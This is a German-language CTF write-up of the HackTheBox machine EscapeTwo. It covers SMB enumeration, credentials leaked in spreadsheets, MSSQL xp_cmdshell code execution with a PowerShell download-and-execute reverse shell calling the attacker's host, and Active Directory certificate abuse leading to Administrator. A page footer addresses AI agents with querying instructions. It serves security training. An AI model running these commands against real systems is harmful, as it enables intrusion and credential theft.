> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md).

# EscapeTwo HackTheBox-Lösungsbericht

{% embed url="<https://app.hackthebox.com/machines/642>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* SMB-Enumerierung
* Informationsleck mit Passwörtern (zip-, Excel-Datei)
* MSSQL (Microsoft SQL) Ausnutzung RCE
* BloodHound-Aufzählung
* WriteOwner CA/\_SVC-Benutzer (Privilegieneskalation)
  {% endhint %}

Bei diesem Penetrationstest in einer Windows-Umgebung haben wir die folgenden Anmeldeinformationen:

* Benutzername: `rose`
* Passwort: `KxEPkKe6R8su`

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/f6aaf02257c57089acfdc3ece68baeff5146b747" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/f6aaf02257c57089acfdc3ece68baeff5146b747" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts
```

<figure><img src="/files/4fc43481f318a78ef41da1171d0b3abb65ceab83" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Mit der Funktion extractPorts werden die offenen Ports in einem kompakten Format angezeigt und in die `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` Zwischenablage

<figure><img src="/files/ddc28196bbacfaee1d2b5727425d837a4db85fcb" alt=""><figcaption></figcaption></figure>

Port- und Versionsscan mit Nmap:

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted
```

<figure><img src="/files/03d08a2bb774b9b8cb0237fb144044fcbd29418e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/30a0f4f12423d7c0945d26efcbd25cef1c10305a" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei ein:

<figure><img src="/files/d9de15a5ee12ce48f9774e5a7d3a189ad464d054" alt="" width="563"><figcaption></figcaption></figure>

### Port 445 - SMB

**Benutzer mit CrackMapExec validieren**

Wir bestätigen, dass der `rose` Benutzer auf dem Domänencontroller (DC) existiert:

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'
```

<figure><img src="/files/fb75dadf7c7d9ecab3dfef001b91ed35dcc098d6" alt=""><figcaption></figcaption></figure>

**Erkundung von SMB-Freigaben**

Wir listen die zugänglichen Freigaben mit `--shares` Befehl:

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
```

**Ergebnis**: Zwei interessante Ordner sind sichtbar:

* `Benutzer`
* `Buchhaltungsabteilung`

<figure><img src="/files/370e59868b9d081ea3b4519dfa9a29c7a655d20e" alt=""><figcaption></figcaption></figure>

/*/* Mit smbclient/ eine Verbindung zur SMB-Freigabe herstelle&#x6E;*/*

Wir greifen auf **Buchhaltungsabteilung**:

```bash
smbclient '//10.10.11.51/Accounting Department' -U rose
```

In diesem Verzeichnis stellen wir zwei Excel-Dateien wieder her:

```powershell
get accounting_2024.xlsx
get accounts.xlsx
```

<figure><img src="/files/84631e137b586b247f7c192a31c488919ce4c023" alt=""><figcaption></figcaption></figure>

**Dateiformaterkennung**

Mit der `Datei` Befehl bestimmen wir, dass diese Dateien tatsächlich ZIP-Archive sind.

<figure><img src="/files/d007c9af8abccc92384d38e83570fd76fcfdcb44" alt=""><figcaption></figcaption></figure>

**ZIP-Datei-Extraktion**

Wir entpacken die wiederhergestellten Dateien:

<figure><img src="/files/da3b610a26131a5cbc502ee77db10a88b0cdbf0b" alt=""><figcaption></figcaption></figure>

**Suche nach sensiblen Informationen**

Wir filtern die extrahierten Dateien, um Informationen zu finden, die das Schlüsselwort **Passwort**:

```bash
find . -type f -name "*.txt" -exec grep -iH "password" {} +
```

<figure><img src="/files/a89162fe09c8d40cfdda2b0ae94d8c05dbcc9cc0" alt=""><figcaption></figcaption></figure>

**Ergebnis**: Eine Datei namens `shareStrings.xml` enthält eine Liste von Benutzern und Passwörtern.

<img src="/files/c122fc561d61047116bbc3e153cc47097e0fd6ae" alt="" class="gitbook-drawing">

<table><thead><tr><th width="141">Vorname</th><th width="135">Nachname</th><th width="174">E-Mail</th><th width="107">Benutzername</th><th>Passwort</th></tr></thead><tbody><tr><td>Angela</td><td>Martin</td><td>angela@sequel.htb</td><td>angela</td><td>0fwz7Q4mSpurIt99</td></tr><tr><td>Oscar</td><td>Martinez</td><td>oscar@sequel.htb</td><td>oscar</td><td>86LxLBMgEWaKUnBG</td></tr><tr><td>Kevin</td><td>Malone</td><td>kevin@sequel.htb</td><td>kevin</td><td>Md9Wlq1E5bZnVDVo</td></tr><tr><td></td><td></td><td>sa@sequel.htb</td><td>sa</td><td>MSSQLP@ssw0rd!</td></tr></tbody></table>

**IDs mit CrackMapExec testen**

Wir verwenden die wiederhergestellten Anmeldeinformationen, um Konten zu validieren:

```bash
crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99'
crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'
crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo'
crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!'
```

**Ergebnis**: Nur der `oscar` Benutzer ist gültig.

<figure><img src="/files/3d2da643e1f66ba5dbb89bde0d79f1c63b984e2b" alt=""><figcaption></figcaption></figure>

## MSSQL-Ausnutzung (Microsoft SQL)

**Port 1433 (MSSQL)**

Port 1433 ist offen, was darauf hinweist, dass ein Microsoft-SQL-Server lauscht. Wir werden die Verbindungen mit den zuvor wiederhergestellten verschiedenen Benutzern testen.

<figure><img src="/files/735c5e7d0ed543d0c3201a0dc6c28ae1c3aeee14" alt=""><figcaption></figcaption></figure>

**MSSQL-Verbindungstest**

Wir verwenden `mssqlclient.py` um zu versuchen, eine Verbindung herzustellen:

```bash
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="/files/e7617cc742d077468db59008c08fc365b2931e9c" alt=""><figcaption></figcaption></figure>

**Ergebnis**: Nur der Benutzer `sa` funktioniert.

```bash
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="/files/4208caaa4214d9b837d449a1347dff9d491279a2" alt=""><figcaption></figcaption></figure>

### Reverse Shell über MSSQL

**Befehlsausführung aktivieren**

Um Systembefehle auszuführen, aktivieren wir `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

Dann testen wir mit einem einfachen Befehl, wie `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="/files/4f1392a322ba5b8e79823fb42ba7e230eaaf6d93" alt=""><figcaption></figcaption></figure>

**Vorbereitung des Lauschens auf unserer Maschine**

Wir starten einen Listener auf Port 4444:

```bash
rlwrap nc -nvlp 4444
```

**Ein PowerShell-Skript herunterladen**

Wir bereiten ein PowerShell-Skript namens `PS.ps1` vor, das einen Reverse-Shell-Befehl enthält. Am Ende des Skripts fügen wir die folgende Zeile hinzu:

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Am Ende des Skripts fügen wir die folgende Zeile hinzu:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

Wir hosten dieses Skript auf einem lokalen Webserver:

```bash
python3 -m http.server 80
```

**Ausführung der Reverse Shell**

Vom MSSQL-Server aus führen wir den folgenden Befehl aus, um das PowerShell-Skript herunterzuladen und auszuführen:

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="/files/c2d0180d5ebed8356e7cd974c30f5b05ab143d61" alt=""><figcaption></figcaption></figure>

## Pivoting auf Benutzer Ryan

**Neue Anmeldeinformationen entdeckt**

Bei der Erkundung des Systems entdecken wir ein Verzeichnis namens **SQL2019** im Stammverzeichnis. Darin finden wir die folgenden Anmeldeinformationen:

* Benutzername : `ryan`
* Passwort: `WqSZAF6CysDQbGb3`

<figure><img src="/files/e96949ed000cbb600295d121c72ba71f50c7feb3" alt=""><figcaption></figcaption></figure>

**Validierung der Anmeldeinformationen mit CrackMapExec**

Wir prüfen, ob diese Anmeldeinformationen gültig sind:

```bash
crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/5c0220f4634408a5441fd8c33bff28168d6a0106" alt=""><figcaption></figcaption></figure>

Bei der Erkundung freigegebener Verzeichnisse identifizieren wir einen Benutzer namens `ryan`. Wir testen dieselben Anmeldeinformationen wie für `sql_svc`:

<figure><img src="/files/f36b5024bcd9eb4c48f9c48001e14b06d8fea5bc" alt=""><figcaption></figcaption></figure>

**Ergebnis**: Die Anmeldeinformationen funktionieren auch für den Benutzer `ryan`.

```bash
crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/f191cc86bb368c05c22b02ee8821a244f0eea617" alt=""><figcaption></figcaption></figure>

Evil-winrm

```bash
evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/798a8b5bbd145b73479e41b86d6d44fc5bdf82e9" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="/files/ddce4726e6e13f376d353d7c03b1052f92392821" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

### BloodHound-Python-Aufzählung

Verwendeter Befehl:

```bash
bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All
```

<figure><img src="/files/2b9bc3a92f0a5c8932773c769d83b26cad813987" alt=""><figcaption></figcaption></figure>

## WriteOwner:

**Beobachtung :**/ Der **Ryan** Benutzer hat die `WriteOwner` Berechtigung im **CA/ SVC** Konto, das auch der Zertifikatsaussteller ist. Das bedeutet, dass wir den Kontobesitzer ändern können **CA/ SVC** um zuzuordnen **Ryan**.

<figure><img src="/files/c08f025f4908d80e1947b3f7b7bad479f0aedde6" alt=""><figcaption></figcaption></figure>

### Übernahme von CA/\_SVC mit BloodyAD

#### Änderung des Kontobesitzers

{% code overflow="wrap" %}

```bash
bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
```

{% endcode %}

Der Befehl verwendet BloodyAD, um den Besitzer von **CA/ SVC** zu ändern und ihn auf **Ryan**festzulegen. Als Besitzer, **Ryan** kann nun die mit dem Konto verbundenen Berechtigungen ändern.

### Berechtigungen mit Dacledit ändern

#### Ryan volle Berechtigung geben

{% code overflow="wrap" %}

```bash
dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
```

{% endcode %}

Dieser Befehl ändert die **DACL** (Discretionary Access Control List) des **CA/ SVC** Kontos, um **Ryan**. Dadurch kann Ryan das Passwort zurücksetzen oder Authentifizierungsschlüssel manipulieren.

<figure><img src="/files/ba505552e3e4741a05da075c8b61a94fe8712bcf" alt=""><figcaption></figcaption></figure>

### Extraktion von Shadow Credentials

#### NT-Hash erzeugen und wiederherstellen

{% code overflow="wrap" %}

```bash
certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51
```

{% endcode %}

<figure><img src="/files/95c9258c6e4a209d446a117ba2b698868490d4bd" alt=""><figcaption></figcaption></figure>

NT-Hash für **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce`

Das **Certipy** Befehl generiert einen Identifikationsschlüssel für **CA/ SVC**, wodurch zertifikatsbasierte Authentifizierung ermöglicht wird. Eine `.ccache` Datei wird ebenfalls erzeugt, was Kerberos-basierte Angriffe erleichtert.

### Änderung der Zertifikatvorlage

#### Das DunderMifflinAuthentication-Modell anpassen

{% code overflow="wrap" %}

```bash
KRB5CCNAME=$PWD/ca_svc.ccache certipy template  -k -template DunderMifflinAuthentication  -target dc01.sequel.htb -dc-ip 10.10.11.51
```

{% endcode %}

<figure><img src="/files/6707470fb8c626f873ab84fbce6d7b8408bd77a0" alt=""><figcaption></figcaption></figure>

Dieser Befehl ändert die **DunderMifflinAuthentication** Zertifikatvorlage, um die Ausstellung von Zertifikaten mit hohen Rechten zu ermöglichen.

### Ausstellen eines Zertifikats für den Administrator

#### Ein Zertifikat zur Identitätsübernahme anfordern

{% code overflow="wrap" %}

```bash
certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
```

{% endcode %}

<figure><img src="/files/4fc4cfa77e23f9d8c48565504cee89aeab2350a6" alt=""><figcaption></figcaption></figure>

Dieser Befehl erfordert ein Zertifikat im Namen des Administrators (`Administrator@sequel.htb`), wodurch die Identität dieses Kontos übernommen werden kann.

### Authentifizierung als Administrator

#### Verwendung des Zertifikats zur Authentifizierung

```bash
certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51
```

<figure><img src="/files/5119b4e945fb08b266112bd06464797c9e32505c" alt=""><figcaption></figcaption></figure>

**NTLMv2-Hash :** `7a8d4e04986afa8ed4060f75e5a0b3ff`

```bash
 evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff"
```

<figure><img src="/files/2c1bd9f7e16fb047d21e400061a6ba6e7bcdad4b" alt=""><figcaption></figcaption></figure>

Dieser Befehl authentifiziert sich als Administrator mit dem zuvor erhaltenen Zertifikat und stellt den NTLM-Hash wieder her.

### Flag root.txt :)

<figure><img src="/files/52a5d832ef34913de6e3a6203fcdc6d57577e9cc" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d46377a4bba5d466b010a83565c3690201ca144e" alt="" width="500"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
